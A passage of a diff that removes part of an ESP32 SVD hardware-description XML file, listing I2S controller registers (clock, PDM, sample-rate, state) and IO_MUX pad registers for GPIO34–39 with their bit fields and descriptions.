-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_ZEROS_RM_EN</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PD_CONF</name>
-          <addressOffset>0xA4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000000A</resetValue>
-          <fields>
-            <field>
-              <name>FIFO_FORCE_PD</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FIFO_FORCE_PU</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLC_MEM_FORCE_PD</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PLC_MEM_FORCE_PU</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CONF2</name>
-          <addressOffset>0xA8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CAMERA_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LCD_TX_WRX2_EN</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LCD_TX_SDX2_EN</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DATA_ENABLE_TEST_EN</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DATA_ENABLE</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>LCD_EN</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>EXT_ADC_START_EN</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INTER_VALID_EN</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CLKM_CONF</name>
-          <addressOffset>0xAC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000004</resetValue>
-          <fields>
-            <field>
-              <name>CLKM_DIV_NUM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLKM_DIV_B</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLKM_DIV_A</name>
-              <bitOffset>14</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_EN</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLKA_ENA</name>
-              <bitOffset>21</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SAMPLE_RATE_CONF</name>
-          <addressOffset>0xB0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00410186</resetValue>
-          <fields>
-            <field>
-              <name>TX_BCK_DIV_NUM</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_BCK_DIV_NUM</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_BITS_MOD</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_BITS_MOD</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PDM_CONF</name>
-          <addressOffset>0xB4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01550020</resetValue>
-          <fields>
-            <field>
-              <name>TX_PDM_EN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_PDM_EN</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PCM2PDM_CONV_EN</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PDM2PCM_CONV_EN</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PDM_SINC_OSR2</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PDM_PRESCALE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PDM_HP_IN_SHIFT</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PDM_LP_IN_SHIFT</name>
-              <bitOffset>18</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PDM_SINC_IN_SHIFT</name>
-              <bitOffset>20</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PDM_SIGMADELTA_IN_SHIFT</name>
-              <bitOffset>22</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_PDM_SINC_DSR_16_EN</name>
-              <bitOffset>24</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PDM_HP_BYPASS</name>
-              <bitOffset>25</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PDM_FREQ_CONF</name>
-          <addressOffset>0xB8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x000F01E0</resetValue>
-          <fields>
-            <field>
-              <name>TX_PDM_FS</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_PDM_FP</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>STATE</name>
-          <addressOffset>0xBC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000007</resetValue>
-          <fields>
-            <field>
-              <name>TX_IDLE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TX_FIFO_RESET_BACK</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RX_FIFO_RESET_BACK</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01604201</resetValue>
-          <fields>
-            <field>
-              <name>I2SDATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral derivedFrom="I2S0">
-      <name>I2S1</name>
-      <description>I2S (Inter-IC Sound) Controller</description>
-      <baseAddress>0x3FF6D000</baseAddress>
-      <interrupt>
-        <name>I2S1</name>
-        <value>33</value>
-      </interrupt>
-    </peripheral>
-    <peripheral>
-      <name>IO_MUX</name>
-      <description>Input/Output Multiplexer</description>
-      <groupName>IO_MUX</groupName>
-      <baseAddress>0x3FF49000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x94</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>PIN_CTRL</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CLK1</name>
-              <description>If you want to output clock for I2S0 to: CLK_OUT1, then set PIN_CTRL[3:0] = 0x0; CLK_OUT2, then set PIN_CTRL[3:0] = 0x0 and PIN_CTRL[7:4] = 0x0; CLK_OUT3, then set PIN_CTRL[3:0] = 0x0 and PIN_CTRL[11:8] = 0x0. If you want to output clock for I2S1 to: CLK_OUT1, then set PIN_CTRL[3:0] = 0xF; CLK_OUT2, then set PIN_CTRL[3:0] = 0xF and PIN_CTRL[7:4] = 0x0; CLK_OUT3, then set PIN_CTRL[3:0] = 0xF and PIN_CTRL[11:8] = 0x0.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK2</name>
-              <description>If you want to output clock for I2S0 to: CLK_OUT1, then set PIN_CTRL[3:0] = 0x0; CLK_OUT2, then set PIN_CTRL[3:0] = 0x0 and PIN_CTRL[7:4] = 0x0; CLK_OUT3, then set PIN_CTRL[3:0] = 0x0 and PIN_CTRL[11:8] = 0x0. If you want to output clock for I2S1 to: CLK_OUT1, then set PIN_CTRL[3:0] = 0xF; CLK_OUT2, then set PIN_CTRL[3:0] = 0xF and PIN_CTRL[7:4] = 0x0; CLK_OUT3, then set PIN_CTRL[3:0] = 0xF and PIN_CTRL[11:8] = 0x0.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK3</name>
-              <description>If you want to output clock for I2S0 to: CLK_OUT1, then set PIN_CTRL[3:0] = 0x0; CLK_OUT2, then set PIN_CTRL[3:0] = 0x0 and PIN_CTRL[7:4] = 0x0; CLK_OUT3, then set PIN_CTRL[3:0] = 0x0 and PIN_CTRL[11:8] = 0x0. If you want to output clock for I2S1 to: CLK_OUT1, then set PIN_CTRL[3:0] = 0xF; CLK_OUT2, then set PIN_CTRL[3:0] = 0xF and PIN_CTRL[7:4] = 0x0; CLK_OUT3, then set PIN_CTRL[3:0] = 0xF and PIN_CTRL[11:8] = 0x0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO36</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO37</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO38</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO39</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO34</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>GPIO35</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>MCU_OE</name>
-              <description>Output enable of the pad in sleep mode. 1: enable output; 0: disable output.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SLP_SEL</name>
-              <description>Sleep mode selection of this pad. Set to 1 to put the pad in sleep mode.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPD</name>
-              <description>Pull-down enable of the pad during sleep mode. 1: internal pull-down enabled; 0: internal pull-down disabled.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_WPU</name>
-              <description>Pull-up enable of the pad during sleep mode. 1: internal pull-up enabled; 0: internal pull-up disabled.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_IE</name>
-              <description>Input enable of the pad during sleep mode. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_DRV</name>
-              <description>Select the drive strength of the pad during sleep mode. A higher value corresponds with a higher strength.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPD</name>
-              <description>Pull-down enable of the pad. 1: internal pull-down enabled, 0: internal pull-down disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull-down circuitry, therefore, their FUN_WPD is always 0.</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_WPU</name>
-              <description>Pull-up enable of the pad. 1: internal pull-up enabled; 0: internal pull-up disabled. GPIO pins 34-39 are input-only. These pins do not feature an output driver or internal pull- up/pull- down circuitry, therefore, their FUN_WPU is always 0.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_IE</name>
-              <description>Input enable of the pad. 1: input enabled; 0: input disabled.</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUN_DRV</name>
-              <description>Select the drive strength of the pad. A higher value corresponds with a higher strength. For GPIO34-39, FUN_DRV is always 0. For detailed drive strength, please see note 8 in Table ”Notes on ESP32 Pin Lists”, in ESP32 Datasheet.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MCU_SEL</name>
-              <description>Select the IO_MUX function for this signal. 0 selects Function 0, 1 selects Function 1, etc.</description>
-              <bitOffset>12</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
